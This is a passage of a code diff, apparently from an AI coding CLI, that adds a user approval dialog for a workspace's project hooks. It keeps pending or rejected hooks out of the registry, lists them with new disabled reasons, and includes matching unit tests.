DialogListItem<ProjectHooksApprovalChoice>
> = [
{ key: 'approve', value: ProjectHooksApprovalChoice.APPROVE },
{ key: 'reject', value: ProjectHooksApprovalChoice.REJECT },
];
/**
* Startup approval for the workspace's project hooks, the hook counterpart
* of {@link OpenTuiMcpApprovalDialog}: the queue, the persisted hash-bound
* decision and the registry reload live in the renderer-agnostic hook.
*/
export function OpenTuiProjectHooksApprovalDialog(
props: OpenTuiProjectHooksApprovalProps,
) {
const { lines, availableTerminalHeight, onSelect } = props;
const { width, height } = useTerminalDimensions();
const select = useDialogSelect<DialogListItem<ProjectHooksApprovalChoice>>({
items: PROJECT_HOOKS_APPROVAL_OPTIONS,
onSelect: (value) => onSelect(value),
});
useKeyboard((key) => {
if (toOriginalKey(key).name === 'escape') {
onSelect(ProjectHooksApprovalChoice.DISMISS);
}
});
const title = PROJECT_HOOKS_DIALOG_TITLE;
const description = fitProjectHooksDescription(
PROJECT_HOOKS_DIALOG_DESCRIPTION,
width,
availableTerminalHeight ?? height,
);
return (
<box marginLeft={3} width={Math.max(0, dialogAreaWidth(width) - 1)}>
<DialogFrame borderColor={C.yellow}>
<box flexDirection="column">
<box flexDirection="column" marginBottom={1}>
<text fg={C.text} attributes={1}>
{title}
</text>
{description !== '' && <text fg={C.text}>{description}</text>}
</box>
<box flexDirection="column" marginBottom={1}>
{layoutProjectHooksLines(
lines,
[title, PROJECT_HOOKS_DIALOG_DESCRIPTION],
width,
availableTerminalHeight ?? height,
).map((line, index) => (
<text key={`${index}-${line}`} fg={C.text} wrapMode="none">
{` ${line}`}
</text>
))}
</box>
<DialogSelect
items={PROJECT_HOOKS_APPROVAL_OPTIONS}
activeIndex={select.activeIndex}
scrollOffset={select.scrollOffset}
onHover={select.highlightIndex}
onSelectIndex={select.selectIndex}
renderLabel={(item, { isSelected }) => (
<text fg={isSelected ? C.accent : C.text}>
{item.value === ProjectHooksApprovalChoice.APPROVE
? 'Approve these hooks'
: 'Reject'}
</text>
)}
/>
<text fg={C.dim}>Esc to decide later</text>
</box>
</DialogFrame>
</box>
);
}
@@ -299,6 +299,8 @@ describe('hooks dialog helpers', () => {
'safeMode',
'allHooksDisabled',
'untrusted',
'pendingApproval',
'rejected',
'registryDisabled',
] as const;
const texts = reasons.map((disabledReason) =>
@@ -312,6 +314,8 @@ describe('hooks dialog helpers', () => {
'disabled (safe mode)',
'disabled (disableAllHooks)',
'disabled (folder not trusted)',
'disabled (not approved)',
'disabled (rejected)',
'disabled (turned off for this session)',
]);
expect(new Set(texts).size).toBe(reasons.length);
@@ -242,6 +242,10 @@ function disabledReasonText(reason: HooksListingDisabledReason): string {
return t('disabled (disableAllHooks)');
case 'untrusted':
return t('disabled (folder not trusted)');
case 'pendingApproval':
return t('disabled (not approved)');
case 'rejected':
return t('disabled (rejected)');
case 'registryDisabled':
return t('disabled (turned off for this session)');
default: {
@@ -119,6 +119,11 @@ const mocks = vi.hoisted(() => {
/** The gated-server queue the shell's approval hook reports. */
mcpQueue: [] as Array<Record<string, unknown>>,
handleMcpApprovalSelect: vi.fn(),
hooksApprovalProps: null as Record<string, unknown> | null,
/** Hook lines the project hooks approval hook reports as pending. */
pendingHookLines: null as string[] | null,
handleProjectHooksApprovalSelect: vi.fn(),
hooksAddInfo: null as ((text: string) => void) | null,
bannerProps: null as Record<string, unknown> | null,
footerProps: null as Record<string, unknown> | null,
statusLineState: null as StatusLineState | null,
@@ -360,6 +365,10 @@ vi.mock('./dialogs-confirm.js', () => ({
mocks.state.mcpApprovalProps = props;
return 'mcp-approval';
},
OpenTuiProjectHooksApprovalDialog: (props: Record<string, unknown>) => {
mocks.state.hooksApprovalProps = props;
return 'hooks-approval';
},
}));
vi.mock('../hooks/useMcpApproval.js', () => ({
useMcpApproval: () => ({
@@ -370,6 +379,23 @@ vi.mock('../hooks/useMcpApproval.js', () => ({
handleMcpApprovalSelect: mocks.state.handleMcpApprovalSelect,
}),
}));
vi.mock('../hooks/use-project-hooks-approval.js', () => ({
useProjectHooksApproval: (
_config: unknown,
_settings: unknown,
addInfo?: (text: string) => void,
) => {
mocks.state.hooksAddInfo = addInfo ?? null;
return {
isProjectHooksApprovalDialogOpen: mocks.state.pendingHookLines !== null,
pendingProjectHooks: mocks.state.pendingHookLines
? { hooks: {}, lines: mocks.state.pendingHookLines }
: undefined,
handleProjectHooksApprovalSelect:
mocks.state.handleProjectHooksApprovalSelect,
};
},
}));
vi.mock('./exit-lifecycle.js', () => ({
isExitInProgress: () => mocks.state.exitInProgress,
}));
@@ -481,6 +507,10 @@ describe('OpenTuiApp shell wiring', () => {
mocks.state.mcpApprovalProps = null;
mocks.state.mcpQueue.length = 0;
mocks.state.handleMcpApprovalSelect.mockClear();
mocks.state.hooksApprovalProps = null;
mocks.state.pendingHookLines = null;
mocks.state.hooksAddInfo = null;
mocks.state.handleProjectHooksApprovalSelect.mockClear();
mocks.state.bannerProps = null;
mocks.state.footerProps = null;
mocks.state.loadingProps = null;
@@ -1008,6 +1038,60 @@ describe('OpenTuiApp shell wiring', () => {
view.unmount();
});
it('keeps a focused foreground shell behind the project hooks approval', async () => {
const owner = { callId: 'shell', pid: 4300, turn: 1 };
const control = {
foregroundShell: owner,
promoteShellToBackground: vi.fn(() => true),
writeShellInput: vi.fn(() => true),
resizeShell: vi.fn(() => true),
scrollShell: vi.fn(() => true),
};
const props = {
config: {
...CONFIG,
getShellExecutionConfig: () => ({}),
setShellExecutionConfig: vi.fn(),
} as unknown as Config,
settings: SETTINGS,
logger: null,
commands: [],
getSessionStats,
foregroundShellControl: control,
};
const view = render(<OpenTuiApp {...props} />);
await settle();
const key = (name: string, sequence: string, ctrl = false) => ({
name,
sequence,
ctrl,
preventDefault: vi.fn(),
stopPropagation: vi.fn(),
});
act(() =>
(mocks.state.inputProps!['onShellKey'] as (key: unknown) => boolean)(
key('f', '\x06', true),
),
);
expect(mocks.state.inputProps?.['focus']).toBe(false);
mocks.state.pendingHookLines = ['SessionStart ./setup.sh'];
const before = mocks.state.keyboardHandlers.length;
view.rerender(<OpenTuiApp {...props} />);
expect(screen.getByText('hooks-approval')).toBeTruthy();
const handlers = mocks.state.keyboardHandlers.slice(before);
for (const k of [
key('a', 'a'),
key('f', '\x06', true),
key('a', 'a'),
key('b', '\x02', true),
]) {
for (const handler of handlers) act(() => handler(k));
}
expect(control.writeShellInput).not.toHaveBeenCalled();
expect(control.promoteShellToBackground).not.toHaveBeenCalled();
view.unmount();
});
it('routes composer cancellation to the running command without interrupting the model', async () => {
const onInterrupt = vi.fn();
renderApp({ onInterrupt });
@@ -1822,6 +1906,64 @@ describe('OpenTuiApp shell wiring', () => {
},
);
it.each([
{ name: 'c', ctrl: true, sequence: '\x03' },
{ name: 'escape', ctrl: false, sequence: '\x1b' },
])(
'leaves the local shell running on $name while the project hooks approval is open',
async (key) => {
let release!: () => void;
const done = new Promise<void>((resolve) => {
release = resolve;
});
const signals: AbortSignal[] = [];
mocks.state.executeUserShell.mockImplementation(((
_config: unknown,
_command: string,
_emit: unknown,
signal: AbortSignal,
) => {
signals.push(signal);
return done;
}) as unknown as () => Promise<void>);
mocks.state.handleResult = false as unknown as OpenTuiDispatchOutcome;
const props: AppProps = {
config: CONFIG,
settings: SETTINGS,
logger: null,
commands: [],
getSessionStats,
streaming: false,
onTranscriptEvent: vi.fn(),
};
const view = render(<OpenTuiApp {...props} />);
await settle();
await act(async () => {
(mocks.state.inputProps?.['onToggleShellMode'] as () => void)();
});
try {
await submit('sleep 10');
expect(signals).toHaveLength(1);
mocks.state.pendingHookLines = ['SessionStart ./setup.sh'];
view.rerender(<OpenTuiApp {...props} />);
await act(async () => {
mocks.state.keyboardHandlers.at(-1)!({
...key,
eventType: 'press',
preventDefault: vi.fn(),
});
});
expect(signals[0].aborted).toBe(false);
} finally {
await act(async () => {
release();
await done;
});
await settle();
}
},
);
it.each([
{ name: 'c', ctrl: true, sequence: '\x03' },
{ name: 'escape', ctrl: false, sequence: '\x1b' },
@@ -2982,6 +3124,68 @@ describe('OpenTuiApp shell wiring', () => {
expect(mocks.state.handleMcpApprovalSelect).toHaveBeenCalledWith('approve');
});
it('shows the project hooks approval below MCP, above a parked tool call, without the footer', async () => {
mocks.state.pendingHookLines = ['SessionStart ./setup.sh'];
mocks.state.mcpQueue.push({ name: 'acceptance-server' });
renderApp({
waitingToolCalls: [
{
callId: 'call-1',
name: 'run_shell_command',
confirmationDetails: { type: 'info', title: 'ok?' },
} as never,
],
onToolCallSettled: vi.fn(),
});
await settle();
expect(screen.getByText('mcp-approval')).toBeTruthy();
expect(screen.queryByText('hooks-approval')).toBeNull();
});
it('routes the project hooks choice to the approval hook', async () => {
mocks.state.pendingHookLines = ['SessionStart ./setup.sh'];
renderApp({
waitingToolCalls: [
{
callId: 'call-1',
name: 'run_shell_command',
confirmationDetails: { type: 'info', title: 'ok?' },
} as never,
],
onToolCallSettled: vi.fn(),
});
await settle();
expect(screen.getByText('hooks-approval')).toBeTruthy();
expect(screen.queryByText('tool-confirm')).toBeNull();
expect(screen.queryByText('footer')).toBeNull();
expect(mocks.state.hooksApprovalProps?.['lines']).toEqual([
'SessionStart ./setup.sh',
]);
const onSelect = mocks.state.hooksApprovalProps?.['onSelect'] as
| ((choice: string) => void)
| undefined;
if (typeof onSelect !== 'function') {
throw new Error('hooks approval dialog was not given onSelect');
}
onSelect('approve');
expect(mocks.state.handleProjectHooksApprovalSelect).toHaveBeenCalledWith(
'approve',
);
});
it('writes the hooks approval note to the transcript', async () => {
const onTranscriptEvent = vi.fn();
renderApp({ onTranscriptEvent });
await settle();
await act(async () => {
mocks.state.hooksAddInfo?.('Project hooks were not loaded.');
});
expect(onTranscriptEvent).toHaveBeenCalledWith({
type: 'info',
text: 'Project hooks were not loaded.',
});
});
it('passes streaming state and interrupt through to the composer', async () => {
const onInterrupt = vi.fn();
renderApp({ streaming: true, onInterrupt });
@@ -3999,6 +4203,10 @@ describe('OpenTuiApp approval-mode cycling (F-2)', () => {
mocks.state.mcpApprovalProps = null;
mocks.state.mcpQueue.length = 0;
mocks.state.handleMcpApprovalSelect.mockClear();
mocks.state.hooksApprovalProps = null;
mocks.state.pendingHookLines = null;
mocks.state.hooksAddInfo = null;
mocks.state.handleProjectHooksApprovalSelect.mockClear();
});
function fakeConfig(
@@ -4261,6 +4469,10 @@ describe('OpenTuiApp transcript scroll region', () => {
mocks.state.mcpApprovalProps = null;
mocks.state.mcpQueue.length = 0;
mocks.state.handleMcpApprovalSelect.mockClear();
mocks.state.hooksApprovalProps = null;
mocks.state.pendingHookLines = null;
mocks.state.hooksAddInfo = null;
mocks.state.handleProjectHooksApprovalSelect.mockClear();
});
const layoutOf = (
@@ -135,10 +135,12 @@ import { modBandMaxRows } from '../utils/mod-band-tree.js';
import {
OpenTuiActionConfirmation,
OpenTuiMcpApprovalDialog,
OpenTuiProjectHooksApprovalDialog,
OpenTuiShellConfirmation,
OpenTuiToolConfirmation,
} from './dialogs-confirm.js';
import { useMcpApproval } from '../hooks/useMcpApproval.js';
import { useProjectHooksApproval } from '../hooks/use-project-hooks-approval.js';
import { dialogAreaWidth } from './dialogs-shared.js';
import { sanitizeTerminalText } from '../utils/textUtils.js';
import { C } from './theme.js';
@@ -663,6 +665,9 @@ export function OpenTuiApp(props: OpenTuiAppProps) {
// app level; without it a `.mcp.json` checked into the project is never
// offered here and its servers stay silently disconnected.
const mcpApproval = useMcpApproval(config);
const hooksApproval = useProjectHooksApproval(config, settings, (text) =>
addInfoItem({ type: MessageType.INFO, text }),
);
const shellControl = props.foregroundShellControl;
const foregroundShell = shellControl?.foregroundShell;
@@ -674,6 +679,7 @@ export function OpenTuiApp(props: OpenTuiAppProps) {
activeModal ||
activeToolCall ||
mcpApproval.isMcpApprovalDialogOpen ||
hooksApproval.isProjectHooksApprovalDialogOpen ||
shellModeActive,
);
const shellFocused =
@@ -780,6 +786,7 @@ export function OpenTuiApp(props: OpenTuiAppProps) {
!activeModal &&
!activeToolCall &&
!mcpApproval.isMcpApprovalDialogOpen &&
!hooksApproval.isProjectHooksApprovalDialogOpen &&
(name === 'escape' || (name === 'c' && ctrl))
) {
for (const controller of shellControllersRef.current) {
@@ -1595,6 +1602,7 @@ export function OpenTuiApp(props: OpenTuiAppProps) {
!activeModal &&
!activeToolCall &&
!mcpApproval.isMcpApprovalDialogOpen &&
!hooksApproval.isProjectHooksApprovalDialogOpen &&
updateNotice ? (
<text>{updateNotice}</text>
) : null}
@@ -1625,6 +1633,14 @@ export function OpenTuiApp(props: OpenTuiAppProps) {
remaining={mcpApproval.mcpApprovalRemaining}
onSelect={mcpApproval.handleMcpApprovalSelect}
/>
) : hooksApproval.isProjectHooksApprovalDialogOpen &&
hooksApproval.pendingProjectHooks ? (
<OpenTuiProjectHooksApprovalDialog
key="project-hooks-approval"
lines={hooksApproval.pendingProjectHooks.lines}
availableTerminalHeight={dialogRegionHeight}
onSelect={hooksApproval.handleProjectHooksApprovalSelect}
/>
) : activeToolCall ? (
<box key="tool-confirm-area" flexDirection="column">
<OpenTuiToolConfirmation
@@ -1788,6 +1804,7 @@ export function OpenTuiApp(props: OpenTuiAppProps) {
!activeModal &&
!activeToolCall &&
!mcpApproval.isMcpApprovalDialogOpen &&
!hooksApproval.isProjectHooksApprovalDialogOpen &&
!showSuggestions) ? (
<OpenTuiFooter
config={config}
@@ -273,6 +273,11 @@ vi.mock('../hooks/useMcpApproval.js', () => ({
pendingMcpApprovals: [],
}),
}));
vi.mock('../hooks/use-project-hooks-approval.js', () => ({
useProjectHooksApproval: () => ({
isProjectHooksApprovalDialogOpen: false,
}),
}));
vi.mock('../hooks/useWorktreeSession.js', () => ({
useWorktreeSession: () => null,
}));
@@ -298,6 +303,7 @@ vi.mock('./dialogs-confirm.js', () => ({
OpenTuiShellConfirmation: () => null,
OpenTuiActionConfirmation: () => null,
OpenTuiMcpApprovalDialog: () => null,
OpenTuiProjectHooksApprovalDialog: () => null,
}));
vi.mock('./theme.js', () => ({ C: new Proxy({}, { get: () => '#ffffff' }) }));
+2
View File
@@ -24,6 +24,8 @@ export enum AppEvent {
* re-evaluate mid-session instead of only at startup. See issue #4615.
*/
McpPendingApprovalChanged = 'mcp-pending-approval-changed',
/** A `/hooks` reload left the workspace's project hooks awaiting approval. */
ProjectHooksPendingApprovalChanged = 'project-hooks-pending-approval-changed',
LspStatusChanged = 'lsp-status-changed',
ExtensionContentChanged = 'extension-content-changed',
ExtensionRefreshNeeded = 'extension-refresh-needed',
+145
View File
@@ -1228,6 +1228,135 @@ describe('Server Config (config.ts)', () => {
}
});
describe('project hooks approval gate', () => {
it('withholds project hooks while they await approval, never user hooks', () => {
const config = makeConfig({
userHooks,
projectHooks,
projectHooksPendingApproval: true,
});
expect(config.isProjectHooksPendingApproval()).toBe(true);
expect(config.getProjectHooks()).toBeUndefined();
expect(config.getWithheldProjectHooks()).toBe(projectHooks);
expect(config.getUserHooks()).toBe(userHooks);
config.setProjectHooksPendingApproval(false);
expect(config.isProjectHooksPendingApproval()).toBe(false);
expect(config.getProjectHooks()).toBe(projectHooks);
expect(config.getWithheldProjectHooks()).toBeUndefined();
});
it.each([
['not gated', undefined, false, false],
['gated and approved', false, true, false],
['gated and pending', true, true, true],
])(
'reports a session that is %s',
(_label, projectHooksPendingApproval, gated, pending) => {
const config = makeConfig({ projectHooksPendingApproval });
expect(config.isProjectHooksApprovalGated()).toBe(gated);
expect(config.isProjectHooksPendingApproval()).toBe(pending);
},
);
it('re-arms a --yolo session once it leaves YOLO', () => {
const config = makeConfig({
approvalMode: ApprovalMode.YOLO,
projectHooksPendingApproval: false,
projectHooksYoloExempt: true,
});
expect(config.isProjectHooksApprovalGated()).toBe(false);
config.setApprovalMode(ApprovalMode.DEFAULT);
expect(config.isProjectHooksApprovalGated()).toBe(true);
});
it('withholds the legacy merged hooks from both getters while pending', () => {
const config = makeConfig({
hooks: projectHooks,
projectHooksPendingApproval: true,
});
expect(config.getProjectHooks()).toBeUndefined();
expect(config.getUserHooks()).toBeUndefined();
config.setProjectHooksPendingApproval(false);
expect(config.getProjectHooks()).toBe(projectHooks);
expect(config.getUserHooks()).toBe(projectHooks);
});
it('keeps a mid-session gate after the hooks are replaced', () => {
const config = makeConfig({ projectHooks });
config.setProjectHooksPendingApproval(true);
config.setHooksFromSettings({ projectHooks });
expect(config.getProjectHooks()).toBeUndefined();
});
it.each([
['the trust feature is off (default)', {}],
[
'the feature is on but the folder is untrusted',
{ folderTrust: true, trustedFolder: false },
],
] as Array<[string, Partial<ConfigParameters>]>)(
'an approved block runs in an interactive session when %s',
(_label, trust) => {
const config = makeConfig({
interactive: true,
...trust,
projectHooks,
projectHooksPendingApproval: false,
});
expect(config.getProjectHooks()).toBe(projectHooks);
// The registry loads the approved block; the listing must not add
// a second, trust-disabled copy of the same hooks.
expect(config.getTrustWithheldProjectHooks()).toBeUndefined();
},
);
it('a pending block stays withheld in an interactive untrusted session', () => {
const config = makeConfig({
interactive: true,
projectHooks,
projectHooksPendingApproval: true,
});
expect(config.getProjectHooks()).toBeUndefined();
expect(config.getTrustWithheldProjectHooks()).toBe(projectHooks);
// The approval reason stays reachable even though trust also withholds.
expect(config.getWithheldProjectHooks()).toBe(projectHooks);
config.setProjectHooksPendingApproval(true, true);
expect(config.isProjectHooksRejected()).toBe(true);
expect(config.getProjectHooks()).toBeUndefined();
expect(config.getWithheldProjectHooks()).toBe(projectHooks);
});
it('an ungated interactive session still needs explicit folder trust', () => {
const config = makeConfig({
interactive: true,
projectHooks,
});
expect(config.getProjectHooks()).toBeUndefined();
expect(config.getTrustWithheldProjectHooks()).toBe(projectHooks);
const trusted = makeConfig({
interactive: true,
folderTrust: true,
trustedFolder: true,
projectHooks,
});
expect(trusted.getProjectHooks()).toBe(projectHooks);
expect(trusted.getTrustWithheldProjectHooks()).toBeUndefined();
});
});
describe('setHooksFromSettings', () => {
it.each([
[
@@ -1452,6 +1581,9 @@ describe('Server Config (config.ts)', () => {
expect(config.getProjectHooks()).toEqual(
explicit ? projectHooks : undefined,
);
expect(config.getTrustWithheldProjectHooks()).toEqual(
explicit ? undefined : projectHooks,
);
expect(config.getUserHooks()).toBeUndefined();
},
);
@@ -1473,6 +1605,7 @@ describe('Server Config (config.ts)', () => {
});
expect(config.getProjectHooks()).toEqual(projectHooks);
expect(config.getTrustWithheldProjectHooks()).toBeUndefined();
},
);
@@ -1483,6 +1616,18 @@ describe('Server Config (config.ts)', () => {
expect(
makeConfig({ bareMode: true, projectHooks }).getProjectHooks(),
).toBeUndefined();
expect(
makeConfig({
safeMode: true,
projectHooks,
}).getTrustWithheldProjectHooks(),
).toBeUndefined();
expect(
makeConfig({
bareMode: true,
projectHooks,
}).getTrustWithheldProjectHooks(),
).toBeUndefined();
});
it('loads project hooks with IDE-granted trust even while the feature is off', () => {
+131 -9
View File
@@ -1550,6 +1550,17 @@ export interface ConfigParameters {
* discovery layer must not connect them. See issue #4615.
*/
pendingMcpServers?: string[];
/**
* Settings-file project hooks have no approval bound to their current
* configuration (pending or rejected); `getProjectHooks()` withholds them
* until `setProjectHooksPendingApproval(false)`. `undefined` means the
* session does not gate them (bare, safe, all hooks off).
*/
projectHooksPendingApproval?: boolean;
/** The withheld block was rejected, not just left undecided. */
projectHooksRejected?: boolean;
/** Started with `--yolo`: the gate is off only while the mode stays YOLO. */
projectHooksYoloExempt?: boolean;
noBrowser?: boolean;
folderTrustFeature?: boolean;
folderTrust?: boolean;
@@ -3036,6 +3047,9 @@ export class Config {
private readonly cliAllowedMcpServerNames?: string[];
private excludedMcpServers?: string[];
private pendingMcpServers?: string[];
private projectHooksPendingApproval?: boolean;
private projectHooksRejected: boolean;
private readonly projectHooksYoloExempt: boolean;
private readonly mcpToolIdleTimeoutMs: number;
/**
* Guards against concurrent MCP reconcile passes (hot-reload watcher vs.
@@ -3523,6 +3537,9 @@ export class Config {
this.cliAllowedMcpServerNames = params.cliAllowedMcpServerNames;
this.excludedMcpServers = params.excludedMcpServers;
this.pendingMcpServers = params.pendingMcpServers;
this.projectHooksPendingApproval = params.projectHooksPendingApproval;
this.projectHooksRejected = params.projectHooksRejected ?? false;
this.projectHooksYoloExempt = params.projectHooksYoloExempt ?? false;
const envTimeout = process.env['QWEN_CODE_MCP_TOOL_IDLE_TIMEOUT_MS'];
const parsedEnv = envTimeout !== undefined ? Number(envTimeout) : NaN;
this.mcpToolIdleTimeoutMs =
@@ -8984,6 +9001,35 @@ export class Config {
);
}
isProjectHooksPendingApproval(): boolean {
return this.projectHooksPendingApproval === true;
}
isProjectHooksApprovalGated(): boolean {
return (
this.projectHooksPendingApproval !== undefined &&
!(
this.projectHooksYoloExempt &&
this.getApprovalMode() === ApprovalMode.YOLO
)
);
}
/**
* Set by the CLI when the user decides on the project hooks mid-session
* (approval dialog, `/hooks` reload). Takes effect on the next hook reload.
*/
setProjectHooksPendingApproval(pending: boolean, rejected = false): void {
this.projectHooksPendingApproval = pending;
this.projectHooksRejected = rejected;
}
isProjectHooksRejected(): boolean {
return (
this.projectHooksPendingApproval === true && this.projectHooksRejected
);
}
addMcpServers(servers: Record<string, MCPServerConfig>): void {
this.assertGeneratedUiServerNotReplaced(servers);
if (this.shellExecutionSandbox && Object.keys(servers).length)
@@ -11764,19 +11810,91 @@ export class Config {
* Used by HookRegistry to load project-specific hooks with proper source attribution.
*/
getProjectHooks(): { [K in HookEventName]?: HookDefinition[] } | undefined {
return this.projectHooksPendingApproval === true
? undefined
: this.readProjectHooks();
}
/**
* The project hooks block `getProjectHooks()` withholds while approval is
* pending or rejected. Reads the raw block, not the execution accessor, so
* the listing can name the approval reason even when the trust gate would
* also withhold it.
*/
getWithheldProjectHooks():
| { [K in HookEventName]?: HookDefinition[] }
| undefined {
return this.projectHooksPendingApproval === true
? this.readProjectHooksBlock()
: undefined;
}
/**
* The project hooks block the interactive trust gate withholds, for the
* `/hooks` listing only — it shows what is configured but switched off.
* Never feed this to the registry; `getProjectHooks()` is the execution
* accessor. `undefined` when the trust gate is not what withholds them.
*/
getTrustWithheldProjectHooks():
| { [K in HookEventName]?: HookDefinition[] }
| undefined {
if (this.getBareMode() || this.isSafeMode()) {
return undefined;
}
// Interactive sessions need explicit trust for repo-supplied hooks: a
// disabled folder-trust feature must not silently authorize them.
// Non-interactive invocations (`-p`, piped stdin, ACP/SDK embeddings)
// treat trust as implicit — the caller chose the directory and there is
// no prompt surface; only run them in directories you trust. An explicit
// refusal is already enforced upstream: an untrusted workspace
// contributes no settings, so it supplies no project hooks.
if (this.isInteractive() && !this.isExplicitlyTrustedFolder()) {
if (!this.isInteractive() || this.isExplicitlyTrustedFolder()) {
return undefined;
}
// A cleared approval gate serves the block (approved, or nothing to
// approve); the listing must not add a second, trust-disabled copy.
if (this.isProjectHooksApprovalCleared()) {
return undefined;
}
return this.readProjectHooksBlock();
}
/**
* Whether the approval gate lets the project hooks block through: the gate
* is active and not withholding. `pending === false` covers BOTH a genuine
* approval and "no approvable object" (the CLI passes false when the
* workspace contributes no hooks, e.g. an untrusted folder with the trust
* feature on). In the latter case the block is empty, so execution is
* unaffected — but diagnostic surfaces must not read this as "approved";
* ask `getProjectHooks()` whether the hooks actually load.
*/
private isProjectHooksApprovalCleared(): boolean {
// `isProjectHooksApprovalGated()` already accounts for the YOLO
// exemption: while exempt the session is ungated and the folder-trust
// rule applies on its own.
return (
this.isProjectHooksApprovalGated() &&
this.projectHooksPendingApproval === false
);
}
private readProjectHooks():
| { [K in HookEventName]?: HookDefinition[] }
| undefined {
if (this.getBareMode() || this.isSafeMode()) {
return undefined;
}
// Repo-supplied hooks run with either authority: a cleared approval gate
// (an approved block, or no approvable object — then the block is empty),
// or explicit folder trust. Approval is the finer grant — it authorizes
// these hooks, not the folder's other executable settings — so the
// interactive trust gate must not swallow it.
if (
!this.isProjectHooksApprovalCleared() &&
this.isInteractive() &&
!this.isExplicitlyTrustedFolder()
) {
return undefined;
}
return this.readProjectHooksBlock();
}
private readProjectHooksBlock():
| { [K in HookEventName]?: HookDefinition[] }
| undefined {
// The legacy merged `hooks` stands in only when no scope was supplied.
const hooks =
this.projectHooks ?? (this.hasScopedHooks() ? undefined : this.hooks);
@@ -11793,8 +11911,12 @@ export class Config {
return undefined;
}
// The legacy merged `hooks` stands in only when no scope was supplied.
// It may carry workspace hooks, so it shares the project approval gate.
const hooks =
this.userHooks ?? (this.hasScopedHooks() ? undefined : this.hooks);
this.userHooks ??
(this.hasScopedHooks() || this.projectHooksPendingApproval === true
? undefined
: this.hooks);
return hooks as { [K in HookEventName]?: HookDefinition[] } | undefined;
}
@@ -45,6 +45,9 @@ function makeConfig(options: {
systemHooks?: Record<string, unknown>;
userHooks?: Record<string, unknown>;
projectHooks?: Record<string, unknown>;
withheldProjectHooks?: Record<string, unknown>;
trustWithheldProjectHooks?: Record<string, unknown>;
rejected?: boolean;
extensions?: Array<{ isActive: boolean; hooks?: Record<string, unknown> }>;
}): HooksListingConfig {
const session = options.session ?? new SessionHooksManager();
@@ -67,6 +70,13 @@ function makeConfig(options: {
getSystemHooks: vi.fn().mockReturnValue(options.systemHooks),
getUserHooks: vi.fn().mockReturnValue(options.userHooks),
getProjectHooks: vi.fn().mockReturnValue(options.projectHooks),
getWithheldProjectHooks: vi
.fn()
.mockReturnValue(options.withheldProjectHooks),
getTrustWithheldProjectHooks: vi
.fn()
.mockReturnValue(options.trustWithheldProjectHooks),
isProjectHooksRejected: vi.fn().mockReturnValue(options.rejected ?? false),
getExtensions: vi.fn().mockReturnValue(options.extensions ?? []),
} as unknown as HooksListingConfig;
}
@@ -463,6 +473,63 @@ describe('buildHooksListing', () => {
});
});
it.each([
[false, 'pendingApproval'],
[true, 'rejected'],
] as const)(
'lists withheld project hooks (rejected: %s) with the reason %s',
async (rejected, reason) => {
const listed = await lintRows({
withheldProjectHooks: LINT_SETTINGS,
rejected,
});
expect(
listed.map((row) => [row.source, row.enabled, row.disabledReason]),
).toEqual([
[HooksConfigSource.User, true, undefined],
[HooksConfigSource.Project, false, reason],
]);
},
);
it('lists trust-withheld project hooks as disabled with the trust reason', async () => {
const listed = await lintRows({
trustWithheldProjectHooks: LINT_SETTINGS,
});
expect(
listed.map((row) => [row.source, row.enabled, row.disabledReason]),
).toEqual([
[HooksConfigSource.User, true, undefined],
[HooksConfigSource.Project, false, 'untrusted'],
]);
expect(listed[1]).toMatchObject({ trustGated: true });
});
it.each([
[false, 'pendingApproval'],
[true, 'rejected'],
] as const)(
'names the approval decision (rejected: %s) even when trust also withholds',
async (rejected, reason) => {
// Pending/rejected plus an untrusted folder: both accessors serve the
// block, but the listing names the decision once, not the trust gate.
const listed = await lintRows({
withheldProjectHooks: LINT_SETTINGS,
trustWithheldProjectHooks: LINT_SETTINGS,
rejected,
});
expect(
listed.map((row) => [row.source, row.enabled, row.disabledReason]),
).toEqual([
[HooksConfigSource.User, true, undefined],
[HooksConfigSource.Project, false, reason],
]);
},
);
describe('without a hook system', () => {
const hook = (command: string) => ({
[HookEventName.PreToolUse]: [
@@ -499,6 +566,23 @@ describe('buildHooksListing', () => {
]);
});
it('still lists trust-withheld project hooks under disableAllHooks', () => {
const listed = rows({
hookSystem: false,
disableAll: true,
trustWithheldProjectHooks: hook('./project.sh'),
});
expect(listed).toMatchObject([
{
source: 'project',
displayText: './project.sh',
enabled: false,
disabledReason: 'allHooksDisabled',
},
]);
});
it.each([
['safe', { safeMode: true }],
['bare', { bareMode: true }],
+81 -11
View File
@@ -28,6 +28,8 @@ export type HooksListingDisabledReason =
| 'safeMode'
| 'allHooksDisabled'
| 'untrusted'
| 'pendingApproval'
| 'rejected'
| 'registryDisabled';
/** One configured hook, flattened for display. */
@@ -111,7 +113,15 @@ export type HooksListingConfig = Pick<
| 'getUserHooks'
| 'getProjectHooks'
| 'getExtensions'
>;
> &
Partial<
Pick<
Config,
| 'getWithheldProjectHooks'
| 'isProjectHooksRejected'
| 'getTrustWithheldProjectHooks'
>
>;
const PROMPT_DISPLAY_LIMIT = 50;
@@ -165,6 +175,8 @@ interface RowPlacement {
/** The entry's own switch; `true` for entries that have none. */
entryEnabled: boolean;
trustGated?: boolean;
/** A project hook the approval gate keeps out of the registry. */
pendingApproval?: boolean | 'rejected';
agentScope?: string;
hookId?: string;
skillRoot?: string;
@@ -181,10 +193,15 @@ export interface HooksListingGates {
/**
* Whether a hook with this placement would run, and if not, the outermost
* reason: bare mode, then safe mode, then `disableAllHooks`, then folder trust
* for trust-gated entries, then the entry's own switch.
* for trust-gated entries, then project hooks approval, then the entry's own
* switch.
*/
export function resolveRowEnabled(
placement: { entryEnabled: boolean; trustGated?: boolean },
placement: {
entryEnabled: boolean;
trustGated?: boolean;
pendingApproval?: boolean | 'rejected';
},
gates: HooksListingGates,
): { enabled: true } | { enabled: false; reason: HooksListingDisabledReason } {
if (gates.bareMode) return { enabled: false, reason: 'bareMode' };
@@ -193,6 +210,12 @@ export function resolveRowEnabled(
if (placement.trustGated === true && !gates.trustedFolder) {
return { enabled: false, reason: 'untrusted' };
}
if (placement.pendingApproval === 'rejected') {
return { enabled: false, reason: 'rejected' };
}
if (placement.pendingApproval === true) {
return { enabled: false, reason: 'pendingApproval' };
}
if (!placement.entryEnabled) {
return { enabled: false, reason: 'registryDisabled' };
}
@@ -289,6 +312,33 @@ function displayableSettingsHook(raw: unknown): HookConfig | undefined {
function rowsFromSettings(
config: HooksListingConfig,
gates: HooksListingGates,
): HooksListingRow[] {
const scopes: Array<[unknown, HooksConfigSource]> = [
[config.getSystemHooks(), HooksConfigSource.System],
[config.getUserHooks(), HooksConfigSource.User],
// The gates withhold the block from the execution accessor; the listing
// still shows what is configured (allDisabled outranks the other reasons).
// Approval decision first, matching the registry path's reason priority.
